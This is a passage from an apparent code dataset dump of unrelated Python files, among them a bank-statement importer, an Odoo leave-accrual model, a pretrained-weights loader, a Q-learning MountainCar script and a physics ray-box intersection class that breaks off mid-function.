temp_dict['id_card_no'] = self.param.get('idNo')\n        temp_dict['id_type'] = self.param.get('idType')\n        temp_dict['bank'] = self.title_param.get('bank', self.param.get('bankName'))\n        temp_dict['account_no'] = self.param.get('bankAccount')\n        temp_dict['start_time'] = self.title_param.get('start_date', min_trans_time)\n        temp_dict['end_time'] = self.title_param.get('end_time', max_trans_time)\n        temp_dict['trans_flow_type'] = 1 if self.param.get('cusType') == 'PERSONAL' else 2\n        temp_dict['update_time'] = self.create_time\n        temp_dict['create_time'] = self.create_time\n        temp_dict['account_state'] = 1 if self.status else 0\n        role = transform_class_str(temp_dict, 'TransAccount')\n        self.raw_list.append(role)\n        self.db.session.add(role)\n        self.db.session.flush()\n        return role.id\n\n    def save_raw_data(self):\n        account_id = self._save_account_data()\n        # 原始数据列名\n        col_list = ['trans_time', 'opponent_name', 'trans_amt', 'account_balance', 'currency', 'opponent_account_no',\n                    'opponent_account_bank', 'trans_channel', 'trans_type', 'trans_use', 'remark']\n        for row in self.df.itertuples():\n            temp_dict = dict()\n            temp_dict['account_id'] = account_id\n            temp_dict['out_req_no'] = self.param.get('outReqNo')\n            for col in col_list:\n                temp_dict[col] = getattr(row, col)\n            temp_dict['create_time'] = self.create_time\n            temp_dict['update_time'] = self.create_time\n            # 将原始数据落库\n            try:\n                if self.status:\n                    role = transform_class_str(temp_dict, 'TransFlow')\n                else:\n                    role = transform_class_str(temp_dict, 'TransFlowException')\n            except Exception as e:\n                self.resp['resCode'] = '1'\n                self.resp['resMsg'] = '失败'\n                logger.info('导入数据库失败,失败原因:%s' % str(e))\n                self.resp['data']['warningMsg'] = ['字符集对应错误']\n                return\n            self.raw_list.append(role)\n        self.db.session.add_all(self.raw_list)\n        try:\n            self.db.session.commit()\n        except Exception as e:\n            self.db.session.rollback()\n            self.resp['resCode'] = '1'\n            self.resp['resMsg'] = '失败'\n            logger.info('导入数据库失败,失败原因:%s' % str(e))\n            self.resp['data']['warningMsg'] = ['导入数据库失败']\n","repo_name":"shuiyou/pipes","sub_path":"src/fileparser/trans_flow/trans_z09_flow_raw_data.py","file_name":"trans_z09_flow_raw_data.py","file_ext":"py","file_size_in_byte":8712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"14092927038","text":"from datetime import date, timedelta\n\nfrom odoo import _, fields, models\n\n# Selection: day of month\nSELECTION_DOM = [\n    (\"1\", \"1\"),\n    (\"2\", \"2\"),\n    (\"3\", \"3\"),\n    (\"4\", \"4\"),\n    (\"5\", \"5\"),\n    (\"6\", \"6\"),\n    (\"7\", \"7\"),\n    (\"8\", \"8\"),\n    (\"9\", \"9\"),\n    (\"10\", \"10\"),\n    (\"11\", \"11\"),\n    (\"12\", \"12\"),\n    (\"13\", \"13\"),\n    (\"14\", \"14\"),\n    (\"15\", \"15\"),\n    (\"16\", \"16\"),\n    (\"17\", \"17\"),\n    (\"18\", \"18\"),\n    (\"19\", \"19\"),\n    (\"20\", \"20\"),\n    (\"21\", \"21\"),\n    (\"22\", \"22\"),\n    (\"23\", \"23\"),\n    (\"24\", \"24\"),\n    (\"25\", \"25\"),\n    (\"26\", \"26\"),\n    (\"27\", \"27\"),\n    (\"28\", \"28\"),\n    (\"29\", \"29\"),\n    (\"30\", \"30\"),\n    (\"31\", \"31\"),\n]\n\n\nclass HrPolicyLine(models.Model):\n\n    _name = \"hr.policy.line.accrual\"\n    _description = \"Accrual Policy Line\"\n\n    name = fields.Char(required=True)\n    code = fields.Char(required=True)\n    policy_id = fields.Many2one(\n        comodel_name=\"hr.policy.accrual\", string=\"Accrual Policy\"\n    )\n    accrual_id = fields.Many2one(\n        comodel_name=\"hr.accrual\", string=\"Accrual Account\", required=True\n    )\n    type = fields.Selection(\n        selection=[\n            (\"standard\", \"Standard\"),\n            (\"calendar\", \"Calendar\"),\n            (\"hour\", \"Hour Based\"),\n        ],\n        default=\"calendar\",\n        required=True,\n    )\n    balance_on_payslip = fields.Boolean(\n        string=\"Display Balance on Pay Slip\",\n        help=\"The pay slip report must be modified to display this accrual for\"\n        \"this setting to have any effect.\",\n    )\n    calculation_frequency = fields.Selection(\n        selection=[\n            (\"weekly\", \"Weekly\"),\n            (\"monthly\", \"Monthly\"),\n            (\"annual\", \"Annual\"),\n        ]\n    )\n    frequency_on_hire_date = fields.Boolean(string=\"Frequency Based on Hire Date\")\n    frequency_week_day = fields.Selection(\n        string=\"Week Day\",\n        selection=[\n            (\"0\", \"Monday\"),\n            (\"1\", \"Tuesday\"),\n            (\"2\", \"Wednesday\"),\n            (\"3\", \"Thursday\"),\n            (\"4\", \"Friday\"),\n            (\"5\", \"Saturday\"),\n            (\"6\", \"Sunday\"),\n        ],\n    )\n    frequency_month_day = fields.Selection(\n        string=\"Day of month\",\n        selection=SELECTION_DOM,\n    )\n    frequency_annual_month = fields.Selection(\n        string=\"Month\",\n        selection=[\n            (\"1\", \"January\"),\n            (\"2\", \"February\"),\n            (\"3\", \"March\"),\n            (\"4\", \"April\"),\n            (\"5\", \"May\"),\n            (\"6\", \"June\"),\n            (\"7\", \"July\"),\n            (\"8\", \"August\"),\n            (\"9\", \"September\"),\n            (\"10\", \"October\"),\n            (\"11\", \"November\"),\n            (\"12\", \"December\"),\n        ],\n    )\n    frequency_annual_day = fields.Selection(\n        string=\"Day of Month\",\n        selection=SELECTION_DOM,\n    )\n    minimum_employed_days = fields.Integer()\n    accrual_rate = fields.Float(help=\"The rate, in days, accrued per year.\")\n    accrual_rate_hour = fields.Float(\n        string=\"Accrual Rate/Hour\",\n        default=0,\n        help=\"The time accrued for every hour the employee works.\"\n        \" Available only when the policy type is Hour Based.\",\n    )\n    accrual_rate_premium = fields.Float(\n        help=\"The additional amount of time (beyond the standard rate)\"\n        \"accrued per Premium Milestone of service.\"\n    )\n    accrual_rate_premium_minimum = fields.Integer(\n        string=\"Months of Employment Before Premium\",\n        default=12,\n        help=\"Minimum number of months the employee must be employed before\"\n        \"the premium rate will start to accrue.\",\n    )\n    accrual_rate_premium_milestone = fields.Integer(\n        string=\"Accrual Premium Milestone\",\n        help=\"Number of milestone months after which the premium rate will be added.\",\n    )\n    accrual_rate_max = fields.Float(\n        string=\"Maximum Accrual Rate\",\n        required=True,\n        default=0.0,\n        help=\"The maximum amount of time that may accrue per year. Zero means the\"\n        \"amount may keep increasing indefinitely.\",\n    )\n    job_ids = fields.One2many(\n        string=\"Jobs\",\n        comodel_name=\"hr.policy.line.accrual.job\",\n        inverse_name=\"policy_line_id\",\n        readonly=True,\n        copy=False,\n    )\n\n    def pass_constraints(self, employee, dToday=None):\n\n        self.ensure_one()\n        if dToday is None:\n            dToday = date.today()\n\n        hireDate = employee.first_contract_date\n        delta = dToday - hireDate\n        if abs(delta.days) > self.minimum_employed_days:\n            return True\n        return False\n\n    def get_last_job_date(self):\n        \"\"\"\n        @return: a datetime.date object representing the time the last job ran.\n        \"\"\"\n\n        self.ensure_one()\n        job_ids = self.env[\"hr.policy.line.accrual.job\"].search(\n            [(\"policy_line_id\", \"=\", self.id)], order=\"name desc\", limit=1\n        )\n        if len(job_ids) == 0:\n            return None\n\n        return job_ids[0].name\n\n    def calculate_and_deposit(self, employee, job=False, dToday=None, descr=None):\n\n        for rec in self:\n            amount = rec.do_calculation(employee, dToday)\n            if amount is False:\n                break\n            name = _(\"Calendar based accrual (%s)\" % (self.name))\n            lines = self.accrual_id.deposit(employee.id, amount, date.today(), name)\n            if job:\n                for line in lines:\n                    job.write(\n                        {\n                            \"accrual_line_ids\": [(4, line.id)],\n                            \"holiday_ids\": [(4, line.leave_allocation_id.id)],\n                        }\n                    )\n\n    def do_calculation(self, employee, dToday=None):\n\n        self.ensure_one()\n\n        # The last day of the month for each month\n        month_last_day = {\n            1: 31,\n            2: 28,\n            3: 31,\n            4: 30,\n            5: 31,\n            6: 30,\n            7: 31,\n            8: 31,\n            9: 30,\n            10: 31,\n            11: 30,\n            12: 31,\n        }\n\n        if dToday is None:\n            dToday = date.today()\n        dHire = employee.first_contract_date\n        srvc_months = employee.get_months_service_to_date(dToday=dToday)\n        srvc_months = int(srvc_months)\n\n        if self.type != \"calendar\" or not self.pass_constraints(employee, dToday):\n            return False\n\n        if self.frequency_on_hire_date:\n            freq_week_day = dHire.weekday()\n            freq_month_day = dHire.day\n            freq_annual_month = dHire.month\n            freq_annual_day = dHire.day\n        else:\n            freq_week_day = self.frequency_week_day\n            freq_month_day = self.frequency_month_day\n            freq_annual_month = self.frequency_annual_month\n            freq_annual_day = self.frequency_annual_day\n\n        premium_amount = 0\n        if self.calculation_frequency == \"weekly\":\n            if dToday.weekday() != freq_week_day:\n                return False\n            freq_amount = float(self.accrual_rate) / 52.0\n            premium_amount = self._calculate_premium_weekly(srvc_months)\n        elif self.calculation_frequency == \"monthly\":\n            # When deciding to skip an employee account for actual month lengths if\n            # the frequency date is 31 and this month only has 30 days, go ahead and\n            # do the accrual on the last day of the month (i.e. the 30th). For\n            # February, on non-leap years execute accruals for the 29th on the 28th.\n            #\n            if (\n                dToday.day == month_last_day[dToday.month]\n                and freq_month_day > dToday.day\n            ):\n                if dToday.month != 2:\n                    freq_month_day = dToday.day\n                elif (\n                    dToday.month == 2\n                    and dToday.day == 28\n                    and (dToday + timedelta(days=+1)).day != 29\n                ):\n                    freq_month_day = dToday.day\n\n            if dToday.day != freq_month_day:\n                return False\n\n            freq_amount = float(self.accrual_rate) / 12.0\n            premium_amount = self._calculate_premium_monthly(srvc_months)\n        else:  # annual frequency\n            # On non-leap years execute Feb. 29 accruals on the 28th\n            #\n            if (\n                dToday.month == 2\n                and dToday.day == 28\n                and (dToday + timedelta(days=+1)).day != 29\n                and freq_annual_day > dToday.day\n            ):\n                freq_annual_day = dToday.day\n\n            if dToday.month != freq_annual_month and dToday.day != freq_annual_day:\n                return False\n\n            freq_amount = self.accrual_rate\n            premium_amount = self._calculate_premium_annual(srvc_months)\n\n        if self.accrual_rate_max == 0:\n            amount = freq_amount + premium_amount\n        else:\n            amount = min(freq_amount + premium_amount, self.accrual_rate_max)\n\n        return amount\n\n    def _calculate_premium_weekly(self, srvc_months):\n\n        self.ensure_one()\n        premium_amount = 0.0\n        if self.accrual_rate_premium_minimum <= srvc_months:\n            premium_amount = (\n                (\n                    max(\n                        0,\n                        srvc_months\n                        - self.accrual_rate_premium_minimum\n                        + self.accrual_rate_premium_milestone,\n                    )\n                )\n                // self.accrual_rate_premium_milestone\n                * self.accrual_rate_premium\n                / 52.0\n            )\n        return premium_amount\n\n    def _calculate_premium_monthly(self, srvc_months):\n\n        self.ensure_one()\n        premium_amount = 0.0\n        if self.accrual_rate_premium_minimum <= srvc_months:\n            premium_amount = (\n                (\n                    max(\n                        0,\n                        srvc_months\n                        - self.accrual_rate_premium_minimum\n                        + self.accrual_rate_premium_milestone,\n                    )\n                )\n                // self.accrual_rate_premium_milestone\n                * self.accrual_rate_premium\n                / 12.0\n            )\n        return premium_amount\n\n    def _calculate_premium_annual(self, srvc_months):\n\n        self.ensure_one()\n        premium_amount = 0.0\n        if self.accrual_rate_premium_minimum <= srvc_months:\n            premium_amount = (\n                (\n                    max(\n                        0,\n                        srvc_months\n                        - self.accrual_rate_premium_minimum\n                        + self.accrual_rate_premium_milestone,\n                    )\n                )\n                // self.accrual_rate_premium_milestone\n                * self.accrual_rate_premium\n            )\n        return premium_amount\n","repo_name":"trevi-software/trevi-hr","sub_path":"payroll_policy_accrual/models/hr_policy_line_accrual.py","file_name":"hr_policy_line_accrual.py","file_ext":"py","file_size_in_byte":10857,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"38"}
{"seq_id":"41948934299","text":"#!/usr/bin/env python3\n# import sys; sys.settrace()\nimport argparse\nimport time\n\nfrom edftpy.interface import optimize_density_conf, conf2init, conf2output\nfrom edftpy.config import read_conf\nfrom edftpy.mpi import sprint\n\ndef get_conf():\n    parser = argparse.ArgumentParser(description='Process task')\n    parser.add_argument('confs', nargs = '*')\n    parser.add_argument('-i', '--ini', '--input', dest='input', type=str, action='store',\n            default='config.ini', help='Input file (default: config.ini)')\n    parser.add_argument('--mpi', '--mpi4py', dest='mpi', action='store_true',\n            default=False, help='Use mpi4py to be parallel')\n\n    args = parser.parse_args()\n    return args\n\ndef run_job(args):\n    from edftpy.mpi import pmi\n    if len(args.confs) == 0 :\n        args.confs.append(args.input)\n    for fname in args.confs:\n        config = read_conf(fname)\n        parallel = args.mpi or pmi.size > 0\n        graphtopo = conf2init(config, parallel)\n        sprint(\"Begin on : {}\".format(time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime())))\n        sprint(\"#\" * 80)\n\n        optimizer = optimize_density_conf(config, graphtopo = graphtopo)\n\n        graphtopo.timer.End(\"TOTAL\")\n        if graphtopo.rank == 0 :\n            graphtopo.timer.output(config)\n        sprint(\"-\" * 80)\n        #-----------------------------------------------------------------------\n        conf2output(config, optimizer)\n        #-----------------------------------------------------------------------\n    sprint(\"#\" * 80)\n    sprint(\"Finished on : {}\".format(time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime())))\n\ndef main():\n    args = get_conf()\n    run_job(args)\n","repo_name":"shaoxc/edftpy","sub_path":"edftpy/cui/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"23162681672","text":"import requests\nimport sys\n\nresp = requests.get(\"https://restcountries.eu/rest/v2/all\")\nif resp.status_code != 200:\n    print(\"Sorry! Could not get details of countries\")\n    sys.exit(1)\n\ncountries = resp.json()\ntop10 = sorted(countries, key=lambda d: d['population'], reverse=True)[:10]\n\nfor i,c in enumerate(top10,1):\n    print(f\"{i}:{c['name']:30} - {c['population']:15}\")\n","repo_name":"srikanthpragada/PYTHON_14_MAY_2019","sub_path":"ex/top_10_countries.py","file_name":"top_10_countries.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"74280112750","text":"import cytest # from ./lib; must be first\nfrom curry.common import LEFT, RIGHT, UNDETERMINED\n# from curry.backends.py.eval import typecheckers as tc\nfrom curry.backends.py.eval.rts import RuntimeState\nfrom curry.backends.py.graph import Node\nfrom curry import inspect\nimport curry, sys, unittest\n\nu = curry.unboxed\nhint = r'  \\(An unboxed value was expected but a boxed value of the ' \\\n        'correct type was supplied\\.  Perhaps you need to wrap an '   \\\n        'argument with curry\\.unboxed\\?\\)'\n\n@unittest.skip('typechecks were removed Apr 2022')\nclass TestPyTypeChecks(cytest.TestCase):\n  '''These checks are enabled in debug mode.'''\n  def testBuiltins(self):\n    for debug in [True, False]:\n      I = curry.interpreter.Interpreter(flags={'debug':debug})\n      self.assertMayRaiseRegexp(\n          TypeError if debug else None\n        , r'Cannot construct an Int node from an argument of type str\\.'\n        , lambda: Node(I.prelude.Int.info, 'a')\n        )\n      self.assertMayRaiseRegexp(\n          TypeError if debug else None\n        , r'Cannot construct an Int node from an argument of type float\\.'\n        , lambda: Node(I.prelude.Int.info, 1.0)\n        )\n      self.assertMayRaiseRegexp(\n          TypeError if debug else None\n        , r'Cannot construct a Float node from an argument of type int\\.'\n        , lambda: Node(I.prelude.Float.info, 1)\n        )\n      if debug and sys.version_info.major == 2:\n        # There is an assertion for this even in non-debug mode.\n        self.assertRaisesRegex(\n            TypeError\n          , r'Cannot construct a Char node from an argument of type unicode\\.'\n          , lambda: Node(I.prelude.Char.info, unicode('a'))\n          )\n      self.assertMayRaiseRegexp(\n          TypeError if debug else None\n        , r'Cannot construct a Char node from a str of length 0\\.'\n        , lambda: Node(I.prelude.Char.info, '')\n        )\n      self.assertMayRaiseRegexp(\n          TypeError if debug else None\n        , r'Cannot construct a Char node from a str of length 2\\.'\n        , lambda: Node(I.prelude.Char.info, 'ab')\n        )\n\n  def testConstraints(self):\n    for debug in [True, False]:\n      I = curry.interpreter.Interpreter(flags={'debug':debug})\n      rts = RuntimeState(I)\n      q = I.symbol('Prelude.?')\n      xy = list(I.eval(q, rts.freshvar(), rts.freshvar()))\n      x, y = map(inspect.fwd_chain_target, xy)\n      for constraint_type in [I.prelude._StrictConstraint, I.prelude._NonStrictConstraint]:\n        self.assertMayRaise(\n            None\n          , lambda: I.expr(constraint_type, True, (x, y))\n          )\n        self.assertMayRaiseRegexp(\n            TypeError if debug else None\n          , r'Cannot construct a _Constraint node relating variable . to itself\\.'\n          , lambda: I.expr(constraint_type, True, (x, x))\n          )\n        self.assertMayRaiseRegexp(\n            TypeError if debug else None\n          , r'Cannot construct a _Constraint node from an argument '\n             '\\(in position 2.1\\) of type int\\.'\n          , lambda: I.expr(constraint_type, True, (u(1), y))\n          )\n\n  def testCoverage(self):\n    self.assertEqual(tc._typecategory(list), ())\n    self.assertEqual(tc._articlefor(''), 'a')\n\n","repo_name":"andyjost/Sprite","sub_path":"tests/unit_py_typechecks.py","file_name":"unit_py_typechecks.py","file_ext":"py","file_size_in_byte":3208,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"38"}
{"seq_id":"73743764589","text":"from typing import Dict, Optional\nfrom copy import deepcopy\nfrom functools import wraps\n\n__all__ = ['register_model']\n\nMIRROR_URL = 'https://ark-weights.s3.eu-central.stackpathstorage.com/'\n\n\ndef register_model(**configurations: Dict):\n    def annotate_fn(model_fn):\n        @wraps(model_fn)\n        def wrapper(*args,\n                    pretrained: str = None,\n                    load_state_dict: bool = True,\n                    state_dict_url: Optional[str] = None,\n                    **kwargs):\n            if pretrained is not None:\n                try:\n                    config = deepcopy(configurations[pretrained])\n                except KeyError:\n                    raise ValueError('pretrained model for {} does not exist'\n                                     .format(pretrained))\n\n                if state_dict_url is not None:\n                    del config['state_dict']\n                else:\n                    state_dict_url = config.pop('state_dict')\n                    state_dict_url = MIRROR_URL + state_dict_url\n                config.update(kwargs)\n                model = model_fn(*args, **config)\n                if load_state_dict:\n                    state_dict = load_state_dict_from_url(state_dict_url,\n                                                          map_location='cpu',\n                                                          check_hash=True)\n                    model.load_state_dict(state_dict)\n                return model\n            else:\n                return model_fn(*args, **kwargs)\n\n        return wrapper\n\n    return annotate_fn\n\n\ndef load_state_dict_from_url(url, model_dir=None, map_location=None, progress=True, check_hash=False, file_name=None):\n    r\"\"\"A modified version of `torch.hub.load_state_dict_from_url`, which handles the new \n    serialization protocol diferently. \n    See <https://github.com/pytorch/pytorch/issues/43106> for more information.\n    \"\"\"\n    import os\n    import sys\n    import warnings\n    import errno\n    import torch\n    from urllib.parse import urlparse\n    from torch.hub import get_dir, download_url_to_file, HASH_REGEX\n\n    # Issue warning to move data if old env is set\n    if os.getenv('TORCH_MODEL_ZOO'):\n        warnings.warn('TORCH_MODEL_ZOO is deprecated, please use env TORCH_HOME instead')\n\n    if model_dir is None:\n        hub_dir = get_dir()\n        model_dir = os.path.join(hub_dir, 'checkpoints')\n\n    try:\n        os.makedirs(model_dir)\n    except OSError as e:\n        if e.errno == errno.EEXIST:\n            # Directory already exists, ignore.\n            pass\n        else:\n            # Unexpected OSError, re-raise.\n            raise\n\n    parts = urlparse(url)\n    filename = os.path.basename(parts.path)\n    if file_name is not None:\n        filename = file_name\n    cached_file = os.path.join(model_dir, filename)\n    if not os.path.exists(cached_file):\n        sys.stderr.write('Downloading: \"{}\" to {}\\n'.format(url, cached_file))\n        hash_prefix = None\n        if check_hash:\n            r = HASH_REGEX.search(filename)  # r is Optional[Match[str]]\n            hash_prefix = r.group(1) if r else None\n        download_url_to_file(url, cached_file, hash_prefix, progress=progress)\n\n    return torch.load(cached_file, map_location=map_location)\n","repo_name":"bernardomig/ark","sub_path":"ark/utils/hub.py","file_name":"hub.py","file_ext":"py","file_size_in_byte":3269,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"29549755897","text":"get_ipython().magic('matplotlib inline')\n\nimport gym\nimport itertools\nimport matplotlib\nimport numpy as np\nimport sys\nimport sklearn.pipeline\nimport sklearn.preprocessing\n\nif \"../\" not in sys.path:\n  sys.path.append(\"../\") \n\nfrom lib import plotting\nfrom sklearn.linear_model import SGDRegressor\nfrom sklearn.kernel_approximation import RBFSampler\n\nmatplotlib.style.use('ggplot')\n\nenv = gym.envs.make(\"MountainCar-v0\")\n\nenv.observation_space # 방향이랑 속도? 의 무한대의 집합\n\nenv.action_space.n\n\n# Feature Preprocessing: Normalize to zero mean and unit variance\n# We use a few samples from the observation space to do this\nobservation_examples = np.array([env.observation_space.sample() for x in range(10000)])\nscaler = sklearn.preprocessing.StandardScaler()\nscaler.fit(observation_examples) # (0,sigma^2)로 정규화시키는 전처리..!\n\n# Used to converte a state to a featurizes represenation.\n# We use RBF kernels with different variances to cover different parts of the space\nfeaturizer = sklearn.pipeline.FeatureUnion([\n        (\"rbf1\", RBFSampler(gamma=5.0, n_components=100)), # 다른 감마를 사용하여 100차원씩의 특징을 뽑아온다\n        (\"rbf2\", RBFSampler(gamma=2.0, n_components=100)),\n        (\"rbf3\", RBFSampler(gamma=1.0, n_components=100)),\n        (\"rbf4\", RBFSampler(gamma=0.5, n_components=100))\n        ])\nfeaturizer.fit(scaler.transform(observation_examples))\n\nobservation_examples.shape\n\nfeaturizer.transform(scaler.transform(observation_examples)).shape\n\nclass Estimator():\n    \"\"\"\n    Value Function approximator. \n    \"\"\"\n    \n    def __init__(self):\n        # We create a separate model for each action in the environment's\n        # action space. Alternatively we could somehow encode the action\n        # into the features, but this way it's easier to code up.\n        self.models = []\n        for _ in range(env.action_space.n):\n            model = SGDRegressor(learning_rate=\"constant\")\n            # We need to call partial_fit once to initialize the model\n            # or we get a NotFittedError when trying to make a prediction\n            # This is quite hacky.\n            \n            # stochastic gradient descent를 위한 모델 셋팅 \n            # action의 수만큼 model 준비? value function을 위해..\n            model.partial_fit([self.featurize_state(env.reset())], [0]) # 400차원의 instance를 넣으면 scalar 값 나와 error 계산하도록...\n            # X : 400차원의 feature, y : scalar(action-state value) 인 regressor\n            self.models.append(model)\n    \n    def featurize_state(self, state):\n        \"\"\"\n        정규화시킨 후, 2->400차원으로 매핑 커널\n        \"\"\"\n        \n        scaled = scaler.transform([state])\n        featurized = featurizer.transform(scaled) \n        return featurized[0]\n    \n    def predict(self, s, a=None):\n        \"\"\"\n        Makes value function predictions.\n        \n        Args:\n            s: state to make a prediction for\n            a: (Optional) action to make a prediction for\n            \n        Returns\n            만약 action a가 주어진다면 하나의 숫자로서의 action-value q(s,a) 를 리턴\n            만약 action이 안주어진다면, 모든 action에 대한 v(s) 를 벡터로 리턴\n\n            \n        \"\"\"\n        features = self.featurize_state(s)\n        if not a: \n            return np.array([m.predict([features])[0] for m in self.models])\n        else:\n            return self.models[a].predict([features])[0]\n    \n    def update(self, s, a, y):\n        \"\"\"\n        Updates the estimator parameters for a given state and action towards\n        the target y.\n        \"\"\"\n        features = self.featurize_state(s)\n        self.models[a].partial_fit([features], [y])\n\ndef make_epsilon_greedy_policy(estimator, epsilon, nA):\n    \"\"\"\n    Creates an epsilon-greedy policy based on a given Q-function approximator and epsilon.\n    \n    Args:\n        estimator: An estimator that returns q values for a given state\n        epsilon: The probability to select a random action . float between 0 and 1.\n        nA: Number of actions in the environment.\n    \n    Returns:\n        A function that takes the observation as an argument and returns\n        the probabilities for each action in the form of a numpy array of length nA.\n    \n    \"\"\"\n    def policy_fn(observation):\n        A = np.ones(nA, dtype=float) * epsilon / nA\n        q_values = estimator.predict(observation)\n        best_action = np.argmax(q_values)\n        A[best_action] += (1.0 - epsilon)\n        return A\n    return policy_fn\n\ndef q_learning(env, estimator, num_episodes, discount_factor=1.0, epsilon=0.1, epsilon_decay=1.0):\n    \"\"\"\n    Q-Learning algorithm for fff-policy TD control using Function Approximation.\n    Finds the optimal greedy policy while following an epsilon-greedy policy.\n    \n    Args:\n        env: OpenAI environment.\n        estimator: Action-Value function estimator\n        num_episodes: Number of episodes to run for.\n        discount_factor: Lambda time discount factor.\n        epsilon: Chance the sample a random action. Float betwen 0 and 1.\n        epsilon_decay: Each episode, epsilon is decayed by this factor\n    \n    Returns:\n        An EpisodeStats object with two numpy arrays for episode_lengths and episode_rewards.\n    \"\"\"\n\n    # Keeps track of useful statistics\n    stats = plotting.EpisodeStats(\n        episode_lengths=np.zeros(num_episodes),\n        episode_rewards=np.zeros(num_episodes))    \n    \n    for i_episode in range(num_episodes):\n        \n        # behaviour policy (e-greedy) 생성 with epsilon_decay\n        policy = make_epsilon_greedy_policy(\n            estimator, epsilon * epsilon_decay**i_episode, env.action_space.n)\n        \n        # Print out which episode we're on, useful for debugging.\n        # Also print reward for last episode\n        last_reward = stats.episode_rewards[i_episode - 1]\n        sys.stdout.flush()\n        \n        # Reset the environment and pick the first action\n        state = env.reset()\n        \n        # SARSA 일때 사용, not q-learning\n        next_action = None # ?\n        \n        # One step in the environment\n        for t in itertools.count():\n                        \n            # q=learning일 때,\n            if next_action is None:\n                action_probs = policy(state) # behaviour policy에서 action_probs을 얻어와서\n                action = np.random.choice(np.arange(len(action_probs)), p=action_probs) # e-greedy를 따라 action 취한다.\n            else:\n                action = next_action\n            \n            # 한 스텝 가본다\n            next_state, reward, done, _ = env.step(action)\n    \n            # Update statistics\n            stats.episode_rewards[i_episode] += reward\n            stats.episode_lengths[i_episode] = t\n            \n            # q-value를 estimator로 approximation 해본다\n            q_values_next = estimator.predict(next_state)\n            \n            # Use this code for Q-Learning\n            # Q-Value TD Target\n            td_target = reward + discount_factor * np.max(q_values_next) # TD-target , greedy로 액션 선택\n            \n            # Use this code for SARSA TD Target for on policy-training:\n            # next_action_probs = policy(next_state)\n            # next_action = np.random.choice(np.arange(len(next_action_probs)), p=next_action_probs)             \n            # td_target = reward + discount_factor * q_values_next[next_action]\n            \n            # target을 위한 approximator를 업데이트한다!\n            estimator.update(state, action, td_target)\n            \n            print(\"\\rStep {} @ Episode {}/{} ({})\".format(t, i_episode + 1, num_episodes, last_reward), end=\"\")\n                \n            if done:\n                break\n                \n            state = next_state\n    \n    return stats\n\nestimator = Estimator()\n\n# Note: For the Mountain Car we don't actually need an epsilon > 0.0\n# because our initial estimate for all states is too \"optimistic\" which leads\n# to the exploration of all states.\nstats = q_learning(env, estimator, 100, epsilon=0.0)\n\nplotting.plot_cost_to_go_mountain_car(env, estimator)\nplotting.plot_episode_stats(stats, smoothing_window=25)\n\nstate = env.reset()\nfor _ in range(10000):\n    env.render()\n    q_values_next = estimator.predict(state)\n    action = np.argmax(q_values_next)\n    next_state, reward, done, _ = env.step(action)\n    \n    if done:\n        break\n    state = next_state\n\n\n\n\n\n","repo_name":"mixmikmic/GH_code_analysis","sub_path":"python/Q-Learning with Value Function Approximation Solution.py","file_name":"Q-Learning with Value Function Approximation Solution.py","file_ext":"py","file_size_in_byte":8519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"74712158829","text":"import numpy as np\n\nPROPORTION_MUON = 0.8\nPROPORTION_ELECTRON = 0.134\nPROPORTION_GAMMA_RAY = 0.066\n\nassert np.math.isclose(\n    PROPORTION_MUON + PROPORTION_ELECTRON + PROPORTION_GAMMA_RAY, 1.0)\n\n\nclass Box:\n    def __init__(self, x: float, y: float, z: float, w: float, d: float, h: float):\n        self.rect_x0 = Rect(y, y + d, z, z + h, x, 2)\n        self.rect_x1 = Rect(y, y + d, z, z + h, x + w, 2)\n        self.rect_y0 = Rect(x, x + w, z, z + h, y, 1)\n        self.rect_y1 = Rect(x, x + w, z, z + h, y + d, 1)\n        self.rect_z0 = Rect(x, x + w, y, y + d, z, 0)\n        self.rect_z1 = Rect(x, x + w, y, y + d, z + h, 0)\n\n    def decays(self, origins, directions, alivenesses, kinds, lengths_org):\n\n        # hits per ray\n        # (n, 6, 3)\n        hit_points = np.stack((\n            self.rect_x0.inspect_intersection(origins, directions),\n            self.rect_x1.inspect_intersection(origins, directions),\n            self.rect_y0.inspect_intersection(origins, directions),\n            self.rect_y1.inspect_intersection(origins, directions),\n            self.rect_z0.inspect_intersection(origins, directions),\n            self.rect_z1.inspect_intersection(origins, directions)\n        ), axis=1)\n\n        indices = np.arange(hit_points.shape[1])\n\n        indices_x, indices_y = np.meshgrid(indices, indices)\n        indices_x = np.tile(indices_x, hit_points.shape[0]).reshape(\n            (hit_points.shape[0], indices.shape[0], indices.shape[0]))\n        indices_y = np.tile(indices_y, (1, hit_points.shape[0], 1)).reshape(\n            (hit_points.shape[0], indices.shape[0], indices.shape[0]))\n\n        indices_ray = np.arange(hit_points.shape[0])\n        indices_ray = np.stack(\n            [indices_ray] * hit_points.shape[1]**2, axis=1).reshape(indices_x.shape)\n\n        lengths = np.linalg.norm(\n            hit_points[indices_ray, indices_x] - hit_points[indices_ray, indices_y], axis=3)\n\n        lengths = lengths.reshape(\n            (hit_points.shape[0], lengths.shape[1] * lengths.shape[2]))\n\n        lengths = np.nan_to_num(lengths)\n        lengths = np.nanmax(lengths, axis=1)\n\n        lengths_org = lengths_org + lengths\n\n        return alivenesses, lengths_org\n\n    def inspect_intersection(self, origins, directions, alivenesses):\n\n        # hits per ray\n        hit_points = np.stack((\n            self.rect_x0.inspect_intersection(origins, directions),\n            self.rect_x1.inspect_intersection(origins, directions),\n            self.rect_y0.inspect_intersection(origins, directions),\n            self.rect_y1.inspect_intersection(origins, directions),\n            self.rect_z0.inspect_intersection(origins, directions),\n            self.rect_z1.inspect_intersection(origins, directions)\n        ), axis=1)\n\n        hit_points = hit_points.reshape(\n            hit_points.shape[0], hit_points.shape[1] * hit_points.shape[2])\n\n        hits = np.count_nonzero(~np.isnan(hit_points), axis=1)\n        hits = 6 <= hits\n        hits = hits & alivenesses\n\n        return 